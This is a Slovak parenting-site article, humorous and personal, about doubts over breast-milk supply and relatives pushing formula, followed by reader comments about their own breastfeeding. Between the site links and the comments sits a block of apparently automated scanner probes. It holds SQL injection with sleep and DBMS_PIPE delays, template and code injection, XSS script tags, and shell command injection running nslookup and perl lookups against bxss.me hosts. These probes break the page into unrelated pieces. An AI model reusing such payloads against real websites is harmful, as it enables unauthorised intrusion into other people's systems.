Nie som dojka korunného princa lichtenštajnského kniežatstva, ktorej viselo pol dvora na prsníku. O dojčení viem asi toľko, čo Madonna o písaní detských kníh. Takže ak chcete radu, na to tu máme iné kapacity, ktoré vedia, o čom hovoria. Ja ponúkam iba spätný pohľad na chod laktačných udalostí v mojom živote.
Keď pred časom Mary Kopčíková položila vo svojom článku básnickú otázku „Ako zistím, že mám dosť mlieka?,“ spomenula som si na to, ako ma podobné otázky na telo rozlaďovali, zneisťovali a znechucovali.
„A máš dosť mlieka?“
vyzvedala sa mama, stará mama, známa, neznáma. „A čo je to dosť mlieka?“ odpovedala som protiotázkou, aj keď sa to nepatrí. „No že mu stačí,“ začudovaný tón, akože či som nechápavá len trochu alebo úplne. „A ako viem, že mu stačí?“ Priznávam, že úplne. „No predsa, že je spokojný, že nevrieska od hladu.“ Cítila som sa ako idiot.
Mám vyjsť s kozou na trh, že nerozoznám, či moje dieťa plače od hladu alebo si len tak spieva? Musí byť za tým iba hlad? Nemôže to byť niečo iné? Nemôže plakať bez očividnej príčiny? 9 z 10 opýtaných by povedalo, že plače od hladu. Čo mi pripomína taký vtip, že 9 z 10 hladujúcich odporúča jedlo.
Dali sme vám fľašku a bol pokoj
Väčšina žien zvedavých, či mám dosť mlieka, nekojila dlhšie ako tri mesiace. Dôvod? Dieťa bolo hladné a materinské mlieko nestačilo: „Dali sme vám fľašku, vypili ste a bol pokoj.“ Mamičke spadlo srdce z kameňa, lebo odmerka na fľaške sa nedala oklamať a ona mala istotu, koľko dieťa vypilo. Keď náhodou zaplakalo, mohla dať ruku do ohňa aj do kyseliny sírovej, že neplače od hladu.
Druhá vec, prespali sme vraj celú noc. „Čože? Budí sa ti v noci päťkrát? To je hladné!“ Frustrovanej a vyčerpanej matke padne táto veta rovnako dobre ako otrava na potkany.
Pre istotu…
Pamätám si, ako som kvílila nad svojim plačúcim dieťaťom, keď ho vždy na večer chytila slabá chvíľka: „Ty nemáš ani jednu krabičku umelého mlieka? Mala by si mať. Pre istotu.“ Zrejme pre istotu, keď chytí slabá chvíľka aj mňa, keď budem o sebe pochybovať, či mám dosť mlieka, či mu stačí.
Na toto som potrebovala odpoveď každý večer, už len pomyslenie na to, aký horor ma zase čaká, mi spôsoboval črevnú krútňavu.
Ráno prúdy, večer vyschnutý prameň
Do paže, ráno mi idú prasknúť prsia, lebo sú nafúknuté ako horkovzdušný balón, nemať gulu na nohe, tak odletím. A večer mám iba tesco sáčiky za päť centov? Ako to, že cez deň sa mi mlieko spustí z ničoho nič, samé od seba, ako z filmu Fontána pre Zuzanu a večer naň musím čakať ako na plyn z Ruska?
Prečo je moje dieťa cez deň spokojné a slastne si pije aperitív aj digestív jeden za druhým, a večer mám v perinke doktora Hyda, ktorý sa zúrivo prisaje a vzápätí odtrhne alebo ma odmietne skôr, ako mu vôbec ponúknem?
Kto to zažil, nech zdvihne ruku.
Dieťa jačí až je modré, mama nevie, kam s konopou, do toho príde na kávičku svokra, ktorá si vyloží nohy na stôl a uzemní ju, či chce to dieťa na smrť vyhladovať, a vytiahne zo záhradného košíka medzi sladkými malinami skryté umelé mlieko značky Prada. Alebo čo to nosí diabol? Či len svokru?
Spochybňovanie na každom rohu. Ešte aj tá Zdenka Predná spieva Keď to nejde, tak to nejde. Našťastie som vsadila na iného speváka. Keď prišiel osudný večer, miesto kvílenia a zarábania umelého mlieka som plačúceho syna zobrala na ruky a chodila s ním po dome, až kým nepočúvol Rytmusa: „Tak to pochop, už je khonec.“
Skúsila som ho nadojčiť v inej polohe alebo v inej miestnosti, ale nenútila som ho, keď ma odmietal. Keď som mala pocit, že sa hnevá, lebo sa mu z utierok nespúšťa mlieko hneď, vyskúšala som lorda nakojiť počas chôdze. V kritickej chvíli ho zobral a nosil muž a ja som zatiaľ vypustila paru v sprche.
Psycho v hlave
Akonáhle som synovi prestala diagnostikovať hlad a povzniesla sa nad plač, bolo to na dobrej ceste. Ale hlavne som sa začala na večer pripravovať psychicky: že to zvládnem, že to robím dobre, že mám dosť mlieka, že hoci mám z pŕs handry, neprestáva sa tvoriť stále ďalšie a ďalšie mlieko, ktoré mu stačí a bodka.
Toto nie je zázračná metóda, ktorá vyzmizikuje plač vášho bábätka zo dňa na deň. Aj niekoľko týždňov môžete mať nutkanie buď kúpiť umelé mlieko, alebo sa hodiť pod vlak. Avšak, kde máte istotu, že práve umelé mlieko umlčí dieťa? Čo ak práve umelé mlieko spôsobí, že sa z neho stane na večer vlkolak? To nikto nevie.
Rozmyslite si, či sa vám radšej neoplatí investovať do niečoho iného ako do umelého mlieka. Čo tak štuple do uší alebo pobyt v kúpeľoch pre svokru?
V každom prípade, 10 z 10 dojčiacich žien odporúča dojčenie.
Update: 10 z 10 dojčiacich žien odporúča dojčenie, ak vo vzorke respondentov nie je zahrnutá aj Alenka z ríše divov, ktorá Dojčí proti svojej vôli.
(106 hlasov, priemerne: 4,90 z 5)
Loading...
Kedy musia mať autá zimné pneumatiky - Rakúsko, Poľsko, Česko, Maďarsko
Koľko eur na dieťa dostanem v roku 2024 (prehľad súm)
Tragická správa, ktorá otcovi rodiny zmenila život
Tehotenské. Kto má nárok, kedy požiadať, aká je výška dávky
Zápis do škôlky - kedy a ako sa podáva prihláška
Prídavky na dieťa 2024
Súťažte o 150 € na ošetrenie v Poliklinike Mlynská dolina
Výhercovia súťaží 2024
Všeobecné podmienky súťaží
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
20’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||‘
@@1X9Iv
index.php/.
http://bxss.me/t/fit.txt
bxss.me
0″XOR(if(now()=sysdate(),sleep(15),0))XOR“Z
${@print(md5(31337))}
${@print(md5(31337))}
http://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
„+“A“.concat(70-3).concat(22*4).concat(101).concat(90).concat(99).concat(84)+(require“socket“
Socket.gethostbyname(„hitta“+“aygosatwe9407.bxss.me.“)[3].to_s)+“
‚+’A‘.concat(70-3).concat(22*4).concat(120).concat(90).concat(103).concat(87)+(require’socket‘
Socket.gethostbyname(‚hitlj’+’rhrsjmuw633ff.bxss.me.‘)[3].to_s)+‘
/xfs.bxss.me
index.php
${9999719+9999838}
!(()&&!|*|*|
^(#$!@#$)(()))******
if(now()=sysdate(),sleep(15),0)
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
../20
;(nslookup hitwokhsvuxqwd5673.bxss.me||perl -e „gethostbyname(‚hitwokhsvuxqwd5673.bxss.me‘)“)|(nslookup hitwokhsvuxqwd5673.bxss.me||perl -e „gethostbyname(‚hitwokhsvuxqwd5673.bxss.me‘)“)&(nslookup hitwokhsvuxqwd5673.bxss.me||perl -e „gethostbyname(‚hitwokhsvuxqwd5673.bxss.me‘)“)
response.write(9038252*9304377)
‚+response.write(9038252*9304377)+‘
„+response.write(9038252*9304377)+“
echo dmjazq$() dsrbzhnz^xyu||a #‘ &echo dmjazq$() dsrbzhnz^xyu||a #|“ &echo dmjazq$() dsrbzhnz^xyu||a #
&echo wlgnyb$() ijuedknz^xyu||a #‘ &echo wlgnyb$() ijuedknz^xyu||a #|“ &echo wlgnyb$() ijuedknz^xyu||a #
|echo tbwgcv$() xhvkvjnz^xyu||a #‘ |echo tbwgcv$() xhvkvjnz^xyu||a #|“ |echo tbwgcv$() xhvkvjnz^xyu||a #
(nslookup hitipbknsezza546d5.bxss.me||perl -e „gethostbyname(‚hitipbknsezza546d5.bxss.me‘)“)
$(nslookup hitxnwpahearh07dae.bxss.me||perl -e „gethostbyname(‚hitxnwpahearh07dae.bxss.me‘)“)
&(nslookup hitvwqybmbfzh7a465.bxss.me||perl -e „gethostbyname(‚hitvwqybmbfzh7a465.bxss.me‘)“)&'“`0&(nslookup hitvwqybmbfzh7a465.bxss.me||perl -e „gethostbyname(‚hitvwqybmbfzh7a465.bxss.me‘)“)&`‘
|(nslookup hitqfcdbdbiwwd6f7e.bxss.me||perl -e „gethostbyname(‚hitqfcdbdbiwwd6f7e.bxss.me‘)“)
`(nslookup hitmkugssgcna28642.bxss.me||perl -e „gethostbyname(‚hitmkugssgcna28642.bxss.me‘)“)`
@{49934*49977}
20<W4WIUQ>Y92OS[!+!]</W4WIUQ>
%32%30%3C%53%63%52%69%50%74%20%3E%6B%43%61%65%289293%29%3C%2F%73%43%72%69%70%54%3E
20<ScRiPt>kCae(9490)</sCripT>
20}body{acu:Expre/**/SSion(kCae(9744))}
20<% ckCae(9773)>
20<WGQIZL>32VPS[!+!]</WGQIZL>
20<A2eNU3 x=9937>
20<qf2ce4<
209688735
acu9219＜s1﹥s2ʺs3ʹuca9219
acux9238
CWS000x
{{49535*49356}}
@{49523*49989}
acu7870＜s1﹥s2ʺs3ʹuca7870
acux7319
CWS000x
{{49176*49640}}
Fakt som sa pobavila. Aj my sme toto všetko zažili a každá mamka, ktorá sa rozhodne „len“ dojčiť to má podobné.
Ja som dojčila dcérku 2 roky, z toho rok popri práci a teraz ešte stále dojčím môjho takmer trojročného synčeka a tie „naše“ chvíľky nám nikto nevezme. Akurát niekedy som ráno dolámaná z toho ležania na boku…
Ale aj tak som sama na seba hrdá lebo napr. moja mamka a babka vôbec nedojčili „vraj“ nemali mliečko, no ja si skôr myslím, že nemali podporu a bolo to aj tlakom okolia. Tak a ja som si povedala, že dojčiť chcem a vyšlo to, aj keď nie vždy to bolo ružové treba si veriť, vydržať aj keď to trošku bolí zozačiatku ale stojí to za to! Keď synček povie ,,Didka moja kde si?“, kto by odolal? 
Super clanok, desat hviezdiciek davam. Mam uz druhe dietatko a len dojcim(starsiu som dojcila do 17 mesiacov), ma dva a pol mesiaca- mimochodom pribral za mesisc tolko, co jeho sestra za dva.. Ked mal mesiac, sme vsetci doma ochoreli, klasika teploty, kasel, sopliky….. v tom moja svokra zahlasila, ze ako moze byt chory, ked ho dojcim, ze mam SLABE MLIEKO. Ze ked je dieta dojcene nemoze ochoriet, to je jak karantena to dojcenie. Samozrejme oboznamila s tym celu dedinu…..:-)
Ta pani, co mi je rodina, ma styri deti, dojcila maximalne 3 mesiace-vraj mala slabe mlieko. A detom davala segediiiiin 🙂
Dojceniu zdar!
super článok. Ja som UM do pol roka ani nemala . kupila som krabicu až neskor, ked som z toho zarábala kašičky. Celkovo som minula asi len tu jednu :-)malá bude mať o mesiac 3 roky a bez cicika nezaspí. v noci sa stále budí aj 3 krát, ale to je už samoobsluha. ja sa pomaly ani neprebudím :-)čiže doteraz som jedinu noc neprespala, ale vobec nelutujem a dakujem Bohu, že napriek tomu že moje prsia su velkosti dospievajucej slečny tam mám stále dostatok mliečka 🙂
Mam tri deti a vzdy ked sa narodili tak prva otazka od vsetkych zien z celej rodiny a j manzelovej bola ze ci mam dost mlieka!
A pri kazdom zaplakani hned ze asi mam slabe mlieko. A z tychto zien nikto nekojil ani mesiac.
Ja kazde dieta skoro 3 roky a prve mesiace priberali okolo 1 kg.
uzasne napisane a tie prirovnania nemaju chybu
aj my sme zazivali Fontanu pre Zuzanu a cakali na mliecko ako na plyn z Ruska 
2 mesiace sme sa tocili v bludnom zacarovanom kruhu, ale nastastie sme sa z neho nejakym zazrakom dostali, nas maly ma 3 mesiace a uz asi mesiac papa vylucne materske mliecko…zacali sme prikrmovat po 2 tyzdnoch od narodenia, ked nas detska lekarka vyslovene vystrasila, ze nase dietatko hladuje a vstepila nam ten otrasny pocit, ze sa nevieme o dieta dostatocne dobre postarat (k tomu sa nam pridruzila plienkova dermatitida a zapalene ocko 🙁 ). Tak z toho strachu sme ani nevahali a zacali dokrmovat..a sama doteraz neviem, ci to bolo potrebne, ci maly potreboval viac kvoli rastovemu spurtu, ci sme mali zlu techniku dojcenia… a urcite suhlasim s tym, ze si treba verit a nepolavit, je to doslova boj, aj nam velmi pomahalo hojdanie na rukach…ale ked maly rezignoval a zaspal len na par minut, nedalo mi to a dala mu flasu. Suhlasim s autorkou a obdivujem vsetky mamicky, ktore zvladnu prekonat krizy, no chcela by som tymto povzbudit aj tie, ktore sa sice snazia ako najviac mozu (ako my), no nakoniec rezignuju…mam pocit, ze sucasne mamicky su az prilis vystavene tlaku spolocnosti – len dojcenie, flasa v ziadnom pripade. Moja skusenost mi potvrdila jedno – ZA FLASU SA PREDSA NESTRIELA – pokial sa dava po plnom dojceni a len a len v pripadoch ak je to nevyhnutne (my sme davali 2x denne, aby si maly nezvykol
a tiez ak sa nedava z dovodu komfortu, nieto uz v noci – vtedy sa musi stoj co stoj vydrzat 
kiez by tie rady fungovali univerzalne pre vsetky dietatka, ale snad povzbudia dalsie hlavne prvorodicky. Kto vie co nam zabralo, ci to boli nakoniec tie sakra drahe MOTHERLOVE tablety, ci lehatko na upokojenie – to nas nesmierne odbremenilo a velka skoda, ze sme ho nemali od narodenia a ci sme si nakoniec nasli tu spravnu techniku papania? Sama neviem, ale co viem je, ze sa netreba vzdavat a stale stale skusat dookola. A pozor, co som si 2x potvrdila, ze mäta neskutocne stahuje mlieko, po tom co som vypila sice nie cisty mätovy caj, ale silny, miesany od babicky. Je dolezite nevzdavat to ani po tom, co sa zda byt uz marne 
A preco nie aj rezen? 🙂
Viem, ze sa nepatri pocuvat pri okienku v lekarni, ale ked ta pocerna pani hovorila strasne nahlas:
„Dejte mi to mlíko s tím antirefluxom…Malý mi hrozne blije… Ale jenom po mléku, po guláši né…“
🙂
No neverím, že by vám chcel niekto zle radiť, robili to určite preto lebo ste sa im zverili so svojimi obavami..:-)))
Nie je dobré keď do vás niekto stále hudie čo robíte zle a ako by to bolo lepšie.
No tak isto – možno ešte horšie je, keď niektoré mamičky zdvihnú nos a robia si podľa seba, zvyčajne bez skúseností a vlastne veľa krát aj odborných informácii, lebo dnes už sa u lekárky asi nedozviete o starostivosti o dieťatko toľko, ako pred 20-timi rokmi. No a od koho sa toho chcete dozvedieť o stravovaní a výchove dieťatka viac ako od starších mamičiek /samozrejme aj tu treba zvážiť o koho ide/. Nie všetko viete, ani nemôžete a človek hlavne rodič sa učí po celý život, nebránte sa radám /rozumným/ starších a tiež nepohrdajte nimi, ani neviete kedy sa vám zidu. Pekný deň, a veľa radostí s dieťatkom :-))))
Super clanok, tiez som pocuvala podobne rady, dokonca ma posielali i k lekarke (slabe mlieko,…). Musim sa priznat, ze velkost mojich prs nie je nic moc, ale zjavne to nema vplyv na mnozstvo alebo kvalitu mlieka, co ma tesi
). Prve 2 mesiace moj syn pribral po 1,4 kg kazdy mesiac, v 11.mesiacoch mal skoro 10. Hoci teraz v 14tich ho prikrmujem (teda nie umelym mliekom, ale uz zje kadeco, co mame uvarene), aj tak sa najviac tesi na materske mlieko 
) (a druha vec je ta, ze jedine tak dokaze zaspat, teda este okrem natriasania v kociku
)
Moj syn este teraz neprespi celu noc, ale zvykla som si – spi s nami v posteli a ked sa zobudi, nezacne ani plakat – dostane to, co chce a ja kludne i s nim spim dalej
). Ved raz z toho urcite vyrastie 
)
Do baby-friendly nemocnic s tymto clankom!!!
super clanok 🙂 pobavil… ja som si hlavu nelamala vobec nad tym ci mam dost mlieka, nejako som si povedala, ze ked malicka place tak chce asi nieco ine ako mlieko, pekne nam to vydrzalo vyse roka, potom som ju horko tazko odstavila, ale nie kvoli tomu, ze by som uz nemala mlieko… u mna boli vzdy mudre moja mama a moja sestra, ktora navyse ani nema deti!!! mama sa stale pytala, ci mam dost mlieka a sestra zase, ze do kedy chcem kojit, ze to by uz aj stacilo…. no to je hadam moja vec nie? aaaaach joooo hlavne si netreba nechat do kojenia a vlastne do vsetkych veci okolo deti nechat hovorit od ostatnych, kazda mama robi to co si mysli, ze je najlepsie pre jej dieta, takze jednym uchom dnu a druhym von 😉
Veľká podpora pre ženy ktoré sa naozaj nenarodili ani nepadli z neba učené a s dieťaťom v náručí…ktorým nemá kto toto povedať , ktoré hľadajú pravdu v spleti toľkých názorov(odborných vs. laických?) akoby mi z duše hovorila autorka článku..prvé tri mesiace horor, neustály stres či mám dosť mlieka keď nervačí na prsníku atd…kojím už 8.mesiac a bez obáv…je to o tom,že matke sa vytvorí toľko mlieka koľko dieťa potrebuje a koľko vypije, hlavne sa nebáť a dať zo začiatku mliečko kedykolvek na požiadanie, no nie pri každom mrnknutí…kiež by som tento názor a skúsenosť čítala skôr..aby som sa v úsilí vytrvať nestresovala ale tešila a povzbudzovala sa…stojí to za to potrápiť sa a vytrvať!!!tým absolútne nespochybňujem ani neodsudzujem mamičky ktoré kojiť nemohli…
Úžasné !!!
mne začali tvrdiť, že malá nepriberá už dva dni po pôrode v Banskej Štiavnici, a to som si myslela že sú nejakí machri
No hlavne moj starsi syn mal v roku 8,1 kg, dojčený do polovice 14mesiaca, s prikrmami ziadny problem, ale niektori, ze slabe mlieko a že treba umele…
Strasne dobry clanok, 10 hviezdiciek davam!!!
Tak si ma teda nakopla, milá TakaKika, tým tvojim vyhlásením v poslednom riadku, kde 10 z 10tich odporúča… Mám inú skúsenosť, som z nevypočutej, utláčanej a utajenej menšiny. Ak mi to redakcia umožní, zajtra si prečítaj na babetku ten môj mliekovinovy kus
10 z 10 dojčiacich žien odporúča dojčenie, iba Alenka z ríše divov slaninu dobre som si tipla???
Alenka, ze naval;-) pre teba sa miesto na publikaciu vzdy najde. Tramtarada, zajtra ide!
Očakávam nejaký 1. apríl
Alenka, ale keď 1. apríl, potom aj 1. máj
Ach, jaj. Taketo „mile“ rady poznam.
Mas dost mlieka? Mas asi slabe mlieko.
No, neviem, neviem, ked mi dieta priberalo 1 kg mesacne, ci som mala slabe mlieko.
Vzdy ma to vedelo vytocit od starsich, ktori svoje deti nekojili a vam isli davat rady, ako na to. Fakt ma to dostavalo do vyvrtky. Ale ja som sa nedala a jasne som povedala, nech sa mi do toho nestaraju. Inak sa s nimi neda. Lebo oni uz maju deti a vedia, co s nimi a vy ste svoje prve porodili len teraz. Moja otazka vzdy znela, ci sa oni narodili uz s deckom v naruci, ze su take odbornicky?
No neverím, že by vám chcel niekto zle radiť, robili to určite preto lebo ste sa im zverili so svojimi obavami..:-)))
Nie je dobré keď do vás niekto stále hudie čo robíte zle a ako by to bolo lepšie.
No tak isto – možno ešte horšie je, keď niektoré mamičky zdvihnú nos a robia si podľa seba, zvyčajne bez skúseností a vlastne veľa krát aj odborných informácii, lebo dnes už sa u lekárky asi nedozviete o starostivosti o dieťatko toľko, ako pred 20-timi rokmi. No a od koho sa toho chcete dozvedieť o stravovaní a výchove dieťatka viac ako od starších mamičiek /samozrejme aj tu treba zvážiť o koho ide/. Nie všetko viete, ani nemôžete a človek hlavne rodič sa učí po celý život, nebránte sa radám /rozumným/ starších a tiež nepohrdajte nimi, ani neviete kedy sa vám zidu. Pekný deň, a veľa radostí s dieťatkom :-))))